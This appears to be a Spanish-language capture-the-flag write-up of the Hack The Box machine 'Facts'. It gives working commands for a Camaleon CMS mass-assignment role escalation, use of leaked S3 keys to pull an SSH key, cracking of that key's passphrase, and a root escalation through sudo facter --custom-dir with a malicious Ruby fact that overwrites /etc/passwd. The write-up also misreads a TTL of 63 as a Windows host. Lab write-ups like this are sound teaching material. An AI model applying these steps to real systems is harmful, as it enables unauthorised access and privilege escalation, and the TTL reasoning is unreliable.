Descripción

Facts es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración de ruta web para encontrar un panel de inicio de sesión de administración
  • Vulnerabilidad de escalada de privilegios en Camaleon CMS que permite el acceso al panel de administrador con acceso a las credenciales de un bucket S3 MinIO interno
  • Enumeración del bucket S3 MinIO lleva al descubrimiento de una clave SSH privada
  • Escalada de privilegios mediante un script Ruby vulnerable que permite la ejecución con el parámetro --custom-dir

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.18.175.

$ ping -c 3 10.129.18.175
PING 10.129.18.175 (10.129.18.175) 56(84) bytes of data.
64 bytes from 10.129.18.175: icmp_seq=1 ttl=63 time=43.4 ms
64 bytes from 10.129.18.175: icmp_seq=2 ttl=63 time=44.3 ms
64 bytes from 10.129.18.175: icmp_seq=3 ttl=63 time=45.5 ms

--- 10.129.18.175 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 43.400/44.388/45.512/0.867 ms

La máquina está activa y con el TTL que iguala 127 (128 menos 1 salto) podemos asegurar que es una máquina Windows. Ahora vamos a hacer un escaneo de puertos TCP SYN para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.18.175 -sS -Pn -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.18.175
Host is up (0.045s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 2.68 seconds

Encontramos los puertos 22 y 80 abiertos.

Enumeración

Luego hacemos un escaneo más avanzado, con versión del servicio y scripts.

$ nmap 10.129.18.175 -Pn -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.18.175
Host is up (0.047s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp open  http    nginx 1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.30 seconds

Nos movemos a la aplicación web y añadimos el host facts.htb al archivo /etc/hosts.

$ echo '10.129.18.175 facts.htb' | sudo tee -a /etc/hosts

Encontramos un sitio web sobre un Amazing Trivia, mostrando hechos. Enumeramos el servicio HTTP buscando directorios y archivos ocultos.

$ gobuster dir -u 'http://facts.htb/' -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 50
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://facts.htb/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
...
/400                  (Status: 200) [Size: 6685]
/404                  (Status: 200) [Size: 4836]
/422                  (Status: 200) [Size: 8380]
/500                  (Status: 200) [Size: 7918]
/CVS                  (Status: 200) [Size: 11110]
/admin                (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/ajax                 (Status: 200) [Size: 0]
/captcha              (Status: 200) [Size: 6359]
/en                   (Status: 200) [Size: 11109]
/error                (Status: 500) [Size: 7918]
/index                (Status: 200) [Size: 11113]

Encontramos el directorio admin que redirige al endpoint /admin/login. Encontramos un formulario de inicio de sesión y tenemos la capacidad de crear una nueva cuenta. Para crear la cuenta necesitamos rellenar un captcha. Después de crear la cuenta podemos iniciar sesión simplemente con las credenciales que proporcionamos y nos redirigimos al panel de administrador de la página. Encontramos que tenemos una vista limitada, pero podemos ver en el pie de página de la página que está utilizando un CMS, Camaleon CMS, en su versión 2.9.0. Esta versión es vulnerable a Escalada de Privilegios a través de una Asignación Masiva. Cuando un usuario desea cambiar su contraseña, se llama al método updated_ajax del UsersController. La vulnerabilidad surge del uso del método peligroso permit!, que permite que todos los parámetros pasen sin ningún filtro, según CVE-2025-2304.

Explotación

Como este es un proyecto de código abierto, podemos leer el commit en el que se solucionó la vulnerabilidad. Encontramos que la vulnerabilidad está en el archivo app/controllers/camaleon_cms/admin/users_controller.rb. La línea específica vulnerable es la siguiente:

@user.update(params.require(:password).permit!)

El método permit! permite Asignación Masiva, desactivando Parámetros Fuertes, lo que significa que el usuario podría enviar cualquier parámetro del modelo User. Encontramos un atributo interesante en el archivo del modelo /app/models/camaleon_cms/user.rbrole. Podemos intentar cambiar el parámetro role y comprobar qué ocurre. Vamos a desencadenar la página de contraseña desde la sección User > Profile > Change Password. Encontramos que los parámetros password%5Bpassword%5D y password%5Bpassword_confirmation%5D se envían al endpoint update_ajax. Al decodificar URL, son password[password] y password[password_confirmation]. Vamos a insertar password[role] al final de la solicitud. Después de enviar la solicitud y refrescar la página del panel principal encontramos que tenemos acceso completo como administrador. Al enumerar el panel de administrador encontramos las credenciales de un bucket S3, en la sección Settings > General Site > Filesystem Settings. Tenemos la clave de acceso a S3 AKIA3490E8DC41C8C0D3 y la clave secreta de S3 +l8+u5D6lJLDtbnf9gSgAqgU/VyxD8K+wr0YBnTl. Con el nombre del bucket randomfacts y la región us-east-1. Encontramos que el bucket S3 se aloja en el puerto HTTP 54321, lo verificamos con Nmap.

$ nmap facts.htb -p54321 -sV -sC
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for facts.htb (10.129.20.201)
Host is up (0.043s latency).

PORT      STATE SERVICE VERSION
54321/tcp open  http    Golang net/http server
|_http-server-header: MinIO
|_http-title: Did not follow redirect to http://facts.htb:9001
| fingerprint-strings: 
|   FourOhFourRequest:
...

Encontramos que este es un servidor MinIO con compatibilidad con buckets S3. Podemos explorar el bucket S3 con la herramienta awscli. Podemos instalarlo si no lo tenemos instalado.

$ sudo apt install awscli -y

Entonces configuramos la aplicación con el comando aws configure.

$ aws configure                                                   
AWS Access Key ID [None]: AKIA3490E8DC41C8C0D3
AWS Secret Access Key [None]: +l8+u5D6lJLDtbnf9gSgAqgU/VyxD8K+wr0YBnTl
Default region name [None]: us-east-1
Default output format [None]:

Podemos enumerar los buckets disponibles en el servidor, especificando el servidor con el parámetro --endpoint-url y el subcomando s3 ls.

$ aws --endpoint-url http://facts.htb:54321 s3 ls
2025-09-11 14:06:52 internal
2025-09-11 14:06:52 randomfacts

Encontramos el bucket internal, lo enumeramos.

$ aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/        
                           PRE .bundle/
                           PRE .cache/
                           PRE .ssh/
2026-01-08 19:45:13        220 .bash_logout
2026-01-08 19:45:13       3900 .bashrc
2026-01-08 19:47:17         20 .lesshst
2026-01-08 19:47:17        807 .profile

Encontramos lo que parece una carpeta de usuario Linux. Podemos recuperar la clave SSH privada, desde la carpeta .ssh.

$ aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/   
         82 authorized_keys
        464 id_ed25519
$ aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 .
download: s3://internal/.ssh/id_ed25519 to ./id_ed25519

La clave SSH privada está cifrada, por lo que la rompemos para recuperar la contraseña usando la herramienta John The Ripper.

$ ssh2john id_ed25519 > ssh_hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt ssh_hash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
dragonballz      (id_ed25519)     
1g 0:00:00:38 DONE 0.02627g/s 84.07p/s 84.07c/s 84.07C/s adriano..imissu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Encontramos que la contraseña para la clave SSH encriptada es dragonballz. No podemos iniciar sesión en el servicio SSH aún ya que no tenemos el nombre de usuario del usuario en el sistema. Vamos a descifrar la clave SSH.

$ chmod 600 id_ed25519
$ ssh-keygen -p -f id_ed25519
Enter old passphrase: 
Key has comment 'trivia@facts.htb'
Enter new passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved with the new passphrase.

Encontramos que el nombre de usuario para iniciar sesión en el sistema se almacena en un comentario, y es trivia. Iniciamos sesión.

$ ssh -i id_ed25519 trivia@facts.htb
trivia@facts:~$ id
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)

Creamos una sesión como el usuario trivia.

Post-Explotación

Encontramos que un comando puede ser ejecutado como usuario root/usr/bin/facter.

trivia@facts:~$ sudo -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

Podemos leer el script:

trivia@facts:~$ cat /usr/bin/facter
#!/usr/bin/ruby
# frozen_string_literal: true

require 'pathname'
require 'facter/framework/cli/cli_launcher'

Facter::OptionsValidator.validate(ARGV)
processed_arguments = CliLauncher.prepare_arguments(ARGV)

CliLauncher.start(processed_arguments)

Facter es una herramienta de perfilado de sistema que recopila y expone información del host (“facts”) para la gestión de configuración. Su vulnerabilidad aparece cuando las entradas no confiables controlan opciones como --custom-dir, permitiendo cargar “facts” Ruby arbitrarios. Un atacante puede explotar esto apuntando --custom-dir a un directorio con un “fact” malicioso que ejecuta código cuando Facter se ejecuta.

Para empezar, vamos a crear un archivo passwd con un usuario malicioso root, como el usuario root2 y la contraseña passwordhtb.

trivia@facts:~$ cp /etc/passwd /tmp/passwd
trivia@facts:~$ echo 'root2:$1$IX9v2U5o$tpsHTNLLik2uBXGO7OyIk0:0:0:root:/root:/bin/bash' >> /tmp/passwd

Entonces vamos a crear el directorio personalizado, en este caso en la carpeta /tmp/evil_facts/.

trivia@facts:~$ mkdir -p /tmp/evil_facts

Entonces creamos el archivo malicioso que copiará el archivo /tmp/passwd al archivo /etc/passwd. En el archivo /tmp/evil_facts/poc.rb.

Facter.add(:poc_rce) do
  setcode do
    File.write('/tmp/poc_facter_rce', "Result: #{`cp /tmp/passwd /etc/passwd`.strip}\n")
    'poc_ok'
  end
end

Entonces ejecutamos el script con el parámetro --custom-dir.

trivia@facts:~$ sudo /usr/bin/facter --custom-dir /tmp/evil_facts/
...

Podemos pivotar a la cuenta root.

root@facts:/home/trivia# id
uid=0(root) gid=0(root) groups=0(root)

Flags

En la consola de root podemos obtener las flags user.txt y root.txt.

root@facts:/home/trivia# cat /home/william/user.txt 
<REDACTED>
root@facts:/home/trivia# cat /root/root.txt 
<REDACTED>